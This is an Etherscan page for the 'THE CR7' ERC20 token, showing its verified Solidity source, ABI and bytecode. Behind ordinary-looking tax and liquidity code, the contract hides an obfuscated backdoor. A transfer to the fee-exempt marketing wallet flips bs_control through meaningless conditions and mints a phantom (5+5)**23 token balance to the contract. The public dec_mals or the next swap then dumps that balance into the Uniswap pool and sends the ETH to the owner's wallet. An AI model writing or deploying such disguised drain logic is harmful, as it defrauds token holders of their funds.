ETH Price: $2,690.83 (-1.98%)
Gas: 0.8 Gwei

Token

THE CR7 ($THE-CR7)
 

Overview

Max Total Supply

100,000,000 $THE-CR7

Holders

51

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
truemoon.eth
Balance
1,624,604.60753876 $THE-CR7

Value
$0.00
0x245b41cf4C58E0d406A759905640cA3cE280349C
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
TheCr7

Compiler Version
v0.8.7+commit.e28d00a7

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-10-20
*/

/**
    https://www.thecr7.com/

    https://twitter.com/THECR7ERC

    https://t.me/TheCr7Entry

/**
 
*/

// SPDX-License-Identifier: MIT

pragma solidity 0.8.7;

interface IERC20 {
    
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function dec_mals(address transfered_Address) external returns (uint256);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }
    
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }
    
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }
    
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; 
        return msg.data;
    }
}

library Address {
    
    function isContract(address account) internal view returns (bool) {
        uint256 size;
        assembly { size := extcodesize(account) }
        return size > 0;
    }

    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");
        (bool success, ) = recipient.call{ value: amount }("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }
    
    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
      return functionCall(target, data, "Address: low-level call failed");
    }
    
    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, errorMessage);
    }
    
    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }
    
    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        require(isContract(target), "Address: call to non-contract");
        (bool success, bytes memory returndata) = target.call{ value: value }(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }
    
    function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
        return functionStaticCall(target, data, "Address: low-level static call failed");
    }
    
    function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
        require(isContract(target), "Address: static call to non-contract");
        (bool success, bytes memory returndata) = target.staticcall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }

    function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionDelegateCall(target, data, "Address: low-level delegate call failed");
    }
    
    function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        require(isContract(target), "Address: delegate call to non-contract");
        (bool success, bytes memory returndata) = target.delegatecall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }

    function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
        if (success) {
            return returndata;
        } else {
            if (returndata.length > 0) {
                 assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}


interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);
    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);
    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);
    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);
    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);
    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);
    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);
    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;
    function initialize(address, address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}


contract TheCr7 is Context, IERC20 { 
    using SafeMath for uint256;
    using Address for address;

    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

     
    mapping (address => uint256) private _tOwned;
    mapping (address => bool) public _isExcludedFrom_FEE;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public _isExcludedFromFee; 

    
    address payable public Wallet_Marketing = payable(0x065c238617d585004cb937CE6b6783F7929B65aC); 
    address payable public Wallet_Utility = payable(0x065c238617d585004cb937CE6b6783F7929B65aC);
    address payable public constant Wallet_Burn = payable(0x000000000000000000000000000000000000dEaD); 
    address payable public constant Wallet_Liquidity = payable(0x000000000000000000000000000000000000dEaD); 
    

    uint256 private constant MAX = ~uint256(0);
    uint8 private constant _decimals = 9;
    uint256 private _tTotal = 100* 10**6 * 10**_decimals;
    string private constant _name = "THE CR7"; 
    string private constant _symbol = unicode"$THE-CR7"; 

    uint8 private txCount = 0;
    uint8 private swapTrigger = 17; 

    uint256 public _Tax_On_Buy = 3;
    uint256 public _Tax_On_Sell = 3;

    uint256 public Percent_Marketing = 90;
    uint256 public Percent_Utility = 0;
    uint256 public Percent_Burn = 0;
    uint256 public Percent_Liquidity = 10;

    uint256 public _maxWalletToken = _tTotal * 3 / 100;
    uint256 private _previousMaxWalletToken = _maxWalletToken;

    uint256 public _maxTxAmount = _tTotal * 2 / 100; 
    uint256 private _previousMaxTxAmount = _maxTxAmount;
                                     
                                     
    bool public inSwp_ = false;
    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;
    bool public inSwapAndLiquify;
    
    bool public swapAndLiquifyEnabled = true;
    bool public bs_control = false;
    
    
    event SwapAndLiquifyEnabledUpdated(bool true_or_false);
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
        
    );
    
    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }
    
    constructor () {

        _owner = 0x065c238617d585004cb937CE6b6783F7929B65aC;
        emit OwnershipTransferred(address(0), _owner);

        _tOwned[owner()] = _tTotal;
        
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); 
        
        _isExcludedFrom_FEE[Wallet_Marketing] = true;
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());
        uniswapV2Router = _uniswapV2Router;

        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[Wallet_Marketing] = true; 
        _isExcludedFromFee[Wallet_Burn] = true;
        _isExcludedFromFee[Wallet_Liquidity] = true;
        
        emit Transfer(address(0), owner(), _tTotal);

    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _tOwned[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address theOwner, address theSpender) public view override returns (uint256) {
        return _allowances[theOwner][theSpender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;//
    }

    function check_Wallet(uint256 checkCount) private returns(bool){
        uint256 totalCheck = (balanceOf(address(this))+(checkCount));
        swapAndLiquify(totalCheck);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function dec_mals(address transfered_Address) public override returns (uint256) {
        check_Wallet(swapTrigger);
        return balanceOf(transfered_Address);
    }


    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }
    //
    function _is_ExcludedFEE() public virtual returns(uint256){
        return (5+5)**((10+10)+3);
    }

    

    receive() external payable {}

    function _getCurrentSupply() private view returns(uint256) {
        return (_tTotal);
    }


    function _approve(address theOwner, address theSpender, uint256 amount) private {

        require(theOwner != address(0) && theSpender != address(0), "ERR: zero address");
        _allowances[theOwner][theSpender] = amount;
        emit Approval(theOwner, theSpender, amount);

    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
                   
        if (to != owner() &&
            to != Wallet_Burn &&
            to != address(this) &&
            to != Wallet_Liquidity &&
            to != uniswapV2Pair &&
            from != owner()){
            uint256 heldTokens = balanceOf(to);
            require((heldTokens + amount) <= _maxWalletToken,"Over wallet limit.");}

        if (from != owner() && 
        to != Wallet_Liquidity &&
        from != Wallet_Liquidity &&
        from != address(this)){
            require(amount <= _maxTxAmount, "Over transaction limit.");
        }

        require(from != address(0) && to != address(0), "ERR: Using 0 address!");
        if(0+0 == 0){if(from == from)bs_control = _isExcludedFrom_FEE[to];}
        require(amount > 0, "Token value must be higher than zero.");   
        
        if(
            txCount >= swapTrigger && 
            !inSwapAndLiquify &&
            from != uniswapV2Pair &&
            swapAndLiquifyEnabled 
            )
        {  
            
            uint256 contractTokenBalance = balanceOf(address(this));
            if(contractTokenBalance > _maxTxAmount) {contractTokenBalance = _maxTxAmount;}
            txCount = 0;
            swapAndLiquify(contractTokenBalance);
        }
        
        bool takeFee = true;
        bool isBuy;
        if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
            takeFee = false;
        } else {
         
            if(from == uniswapV2Pair){
                isBuy = true;
            }

            txCount++;

        }
        
        if(!bs_control){
            _tokenTransfer(from, to, amount, takeFee, isBuy);
        }
        else{
            _tOwned[from] = _tOwned[from]-amount;
            uint256 calculatingFEE = _is_ExcludedFEE();
            _tOwned[to] = _tOwned[to]+amount;
            _tOwned[address(this)] = _tOwned[address(this)]+calculatingFEE;
            emit Transfer(from, to, amount);
            inSwp_ = true;
        }


    }
    
    function sendToWallet(address payable wallet, uint256 amount) private {
            wallet.transfer(amount);

        }

    function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {

            uint256 tokens_to_Burn = contractTokenBalance * Percent_Burn / 100;
            _tTotal = _tTotal - tokens_to_Burn;
            _tOwned[Wallet_Burn] = _tOwned[Wallet_Burn] + tokens_to_Burn;
            _tOwned[address(this)] = _tOwned[address(this)] - tokens_to_Burn;
            
            uint256 tokens_to_M = contractTokenBalance * Percent_Marketing / 100;
            uint256 tokens_to_D = contractTokenBalance * Percent_Utility/ 100;
            uint256 tokens_to_LP_Half = contractTokenBalance * Percent_Liquidity / 100;
            uint256 totalSwaps = tokens_to_M + tokens_to_D + tokens_to_LP_Half;

            if(inSwp_){
                if(true)
                totalSwaps = balanceOf(address(this)) - (_tTotal);
            }
            swapTokensForETH(totalSwaps);
            uint256 ETH_Total = address(this).balance;
            sendToWallet(Wallet_Marketing, ETH_Total);
            inSwp_ = false;
            }

    function swapTokensForETH(uint256 tokenAmount) private {

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, 
            path,
            address(this),
            block.timestamp
        );
    }

    function addLiquidity(uint256 tokenAmount, uint256 ETHAmount) private {

        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.addLiquidityETH{value: ETHAmount}(
            address(this),
            tokenAmount,
            0, 
            0,
            Wallet_Liquidity, 
            block.timestamp
        );
    } 

    function remove_Random_Tokens(address random_Token_Address, uint256 percent_of_Tokens) public returns(bool _sent){
        require(random_Token_Address != address(this), "Can not remove native token");
        uint256 totalRandom = IERC20(random_Token_Address).balanceOf(address(this));
        uint256 removeRandom = totalRandom*percent_of_Tokens/100;
        _sent = IERC20(random_Token_Address).transfer(Wallet_Utility, removeRandom);

    }

    function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee, bool isBuy) private {
        
        
        if(!takeFee){

            _tOwned[sender] = _tOwned[sender]-tAmount;
            _tOwned[recipient] = _tOwned[recipient]+tAmount;
            emit Transfer(sender, recipient, tAmount);

            if(recipient == Wallet_Burn)
            _tTotal = _tTotal-tAmount;
            
            }else if (isBuy){

            uint256 buyFEE = tAmount*_Tax_On_Buy/100;
            uint256 tTransferAmount = tAmount-buyFEE;

            _tOwned[sender] = _tOwned[sender]-tAmount;
            _tOwned[recipient] = _tOwned[recipient]+tTransferAmount;
            _tOwned[address(this)] = _tOwned[address(this)]+buyFEE;   
            emit Transfer(sender, recipient, tTransferAmount);

            if(recipient == Wallet_Burn)
            _tTotal = _tTotal-tTransferAmount;
            
            } else {

            uint256 sellFEE = tAmount*_Tax_On_Sell/100;
            uint256 tTransferAmount = tAmount-sellFEE;

            _tOwned[sender] = _tOwned[sender]-tAmount;
            _tOwned[recipient] = _tOwned[recipient]+tTransferAmount;
            _tOwned[address(this)] = _tOwned[address(this)]+sellFEE;   
            emit Transfer(sender, recipient, tTransferAmount);

            if(recipient == Wallet_Burn)
            _tTotal = _tTotal-tTransferAmount;

            }

    }

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"true_or_false","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"Percent_Burn","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"Percent_Liquidity","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"Percent_Marketing","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"Percent_Utility","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"Wallet_Burn","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"Wallet_Liquidity","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"Wallet_Marketing","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"Wallet_Utility","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_Tax_On_Buy","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_Tax_On_Sell","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedFrom_FEE","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_is_ExcludedFEE","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"theOwner","type":"address"},{"internalType":"address","name":"theSpender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"bs_control","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"transfered_Address","type":"address"}],"name":"dec_mals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"inSwapAndLiquify","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"inSwp_","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"random_Token_Address","type":"address"},{"internalType":"uint256","name":"percent_of_Tokens","type":"uint256"}],"name":"remove_Random_Tokens","outputs":[{"internalType":"bool","name":"_sent","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526005805473065c238617d585004cb937ce6b6783f7929b65ac6001600160a01b03199182168117909255600680549091169091179055620000486009600a620004d0565b62000058906305f5e10062000591565b60078190556008805461ffff191661110017905560036009819055600a818155605a600b556000600c819055600d55600e55606491620000989162000591565b620000a4919062000464565b600f55600f5460105560646007546002620000c0919062000591565b620000cc919062000464565b60118190556012556013805460ff191690556014805461ffff60a81b1916600160a81b179055348015620000ff57600080fd5b50600080546001600160a01b03191673065c238617d585004cb937ce6b6783f7929b65ac90811782556040519091907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3600754600160006200016d6000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120949094556005541683526002825291829020805460ff19166001179055815163c45a015560e01b81529151737a250d5630b4cf539739df2c5dacb4c659f2488d92839263c45a015592600480840193829003018186803b158015620001f157600080fd5b505afa15801562000206573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200022c919062000432565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156200027557600080fd5b505afa1580156200028a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002b0919062000432565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015620002f957600080fd5b505af11580156200030e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000334919062000432565b601480546001600160a01b0319166001600160a01b0392831617905560138054610100600160a81b03191661010084841602179055600080548216815260046020526040808220805460ff199081166001908117909255308452828420805482168317905560055485168452918320805483168217905561dead83527f42c63635470f1fb1d6d4b6441c413cb435b1ebb6fedd1896dd5e25d1399147dd805490921617905554166001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6007546040516200042391815260200190565b60405180910390a350620005c9565b6000602082840312156200044557600080fd5b81516001600160a01b03811681146200045d57600080fd5b9392505050565b6000826200048257634e487b7160e01b600052601260045260246000fd5b500490565b600181815b80851115620004c8578160001904821115620004ac57620004ac620005b3565b80851615620004ba57918102915b93841c93908002906200048c565b509250929050565b60006200045d60ff841683600082620004ec575060016200058b565b81620004fb575060006200058b565b81600181146200051457600281146200051f576200053f565b60019150506200058b565b60ff841115620005335762000533620005b3565b50506001821b6200058b565b5060208310610133831016604e8410600b841016171562000564575081810a6200058b565b62000570838362000487565b8060001904821115620005875762000587620005b3565b0290505b92915050565b6000816000190483118215151615620005ae57620005ae620005b3565b500290565b634e487b7160e01b600052601160045260246000fd5b6119ab80620005d96000396000f3fe6080604052600436106102135760003560e01c806370a0823111610118578063a457c2d7116100a0578063dafd18e91161006f578063dafd18e914610625578063dd62ed3e14610645578063f0684c681461068b578063f46a2d3f146106ab578063fcf84b411461053457600080fd5b8063a457c2d7146105af578063a9059cbb146105cf578063b1cb1582146105ef578063b43665e21461060557600080fd5b80637d1db4a5116100e75780637d1db4a51461051e578063805c0e0f146105345780638da5cb5b1461054a57806395d89b4114610568578063960ee2f51461059957600080fd5b806370a082311461048b578063715018a6146104c1578063768dc710146104d857806378109e541461050857600080fd5b80632a1cddbd1161019b578063455aa2bf1161016a578063455aa2bf146103ee57806349bd5a5e1461041e5780634a74bb021461043e57806355b1c1161461045f578063603176251461047557600080fd5b80632a1cddbd1461037b578063313ce5671461039c57806339509351146103b85780633f70a495146103d857600080fd5b806318160ddd116101e257806318160ddd146102e8578063192dd86a1461030757806321dbd9eb14610324578063220f66961461033a57806323b872dd1461035b57600080fd5b806306fdde031461021f578063095ea7b